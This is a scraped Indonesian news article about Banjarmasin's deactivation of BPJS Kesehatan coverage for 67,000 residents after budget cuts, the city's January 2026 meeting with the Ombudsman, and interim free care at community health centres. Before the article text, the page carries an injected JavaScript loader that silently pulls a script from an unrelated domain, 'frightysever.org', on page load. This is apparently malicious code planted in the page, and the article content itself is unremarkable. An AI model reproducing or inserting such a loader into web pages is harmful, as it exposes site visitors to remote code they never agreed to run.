(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS Kesehatan.
Diketahui, sebanyak 67 ribu pekerja bukan penerima upah yang tergolong BPJS Mandiri tak lagi ditanggung APBD. Sementara yang ditanggung hanya 45 ribu warga yang termasuk kriteria miskin sesuai Data Terpadu Kesejahteraan Sosial dari Dinsos Kota Banjarmasin.
Kebijakan tersebut menyusul efisiensi anggaran di lingkungan Pemerintah Kota (Pemko) Banjarmasin yang mana alokasinya dikurangi sebanyak 81 miliar di tahun 2026.
Baca juga: Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai
Akibatnya, prioritas penerima bantuan iuran BPJS Kesehatan dialihkan hanya kepada masyarakat kurang mampu yang sudah terdata.
Menanggapi kondisi tersebut, Wali Kota Banjarmasin, H Muhammad Yamin HR diwakili Sekretaris Daerah Kota Banjarmasin, Ikhsan Budiman mengadakan pertemuan dengan Perwakilan Ombudsman RI Provinsi Kalimantan Selatan, Jumat (23/1/2026).
Hasilnya terdapat beberapa kesepakatan tentang langkah konkret untuk memastikan jaminan kesehatan warga tetap terpenuhi sembari menunggu proses penataan data.
Baca juga: Pengelolaan UNESCO Global Geopark Meratus Diperkuat
Sekretaris Daerah Kota Banjarmasin, Ikhsan Budiman. Foto: Prokom Banjarmasin
Sekda Banjarmasin Ikhsan mengatakan, hal ini membuktikan pemerintah tidak tinggal diam ketika mendengar keluhan masyarakat Kota Seribu Sungai.
Saat ini, penentuan warga yang ditanggung PBPU BP Pemda dilakukan lebih ketat berdasarkan skala prioritas kelompok desil atau ranking kesejahteraan. Ada sebanyak 44.384 jiwa dari desil 1 hingga desil 5 telah terverifikasi aman.
Dinas Sosial Kota Banjarmasin tengah melakukan penyandingan data serta verifikasi lapangan secara intensif agar 67 ribu warga yang dinonaktifkan dapat kembali aktif kepesertaannya.
“Langkah ini diambil untuk memastikan bahwa jaminan kesehatan tetap sampai kepada masyarakat yang benar-benar berhak,” jelas Ikhsan.
Baca juga: MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan
Di masa transisi ini, masyarakat dengan KTP domisili Banjarmasin tetap dapat akses berobat gratis mencakup layanan dasar hingga pemeriksaan laboratorium di seluruh Puskesmas.
Apabila warga memerlukan tindakan medis lanjutan, pemerintah mengarahkan rujukan ke Rumah Sakit Sultan Suriansyah jaminan biaya gratis asal melampirkan surat keterangan miskin yang direkomendasikan Dinsos Kota Banjarmasin.
Terakhir, pemerintah mengimbau masyarakat agar rutin mengecek status keaktifan kepesertaan BPJS Kesehatan secara mandiri melalui kontak resmi 08118165165. Hal ini bertujuan memastikan kelancaran akses kesehatan di masa mendatang. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas terus mendorong pemerataan pembangunan ke wilayah perdesaan. Pada… Read More
This website uses cookies.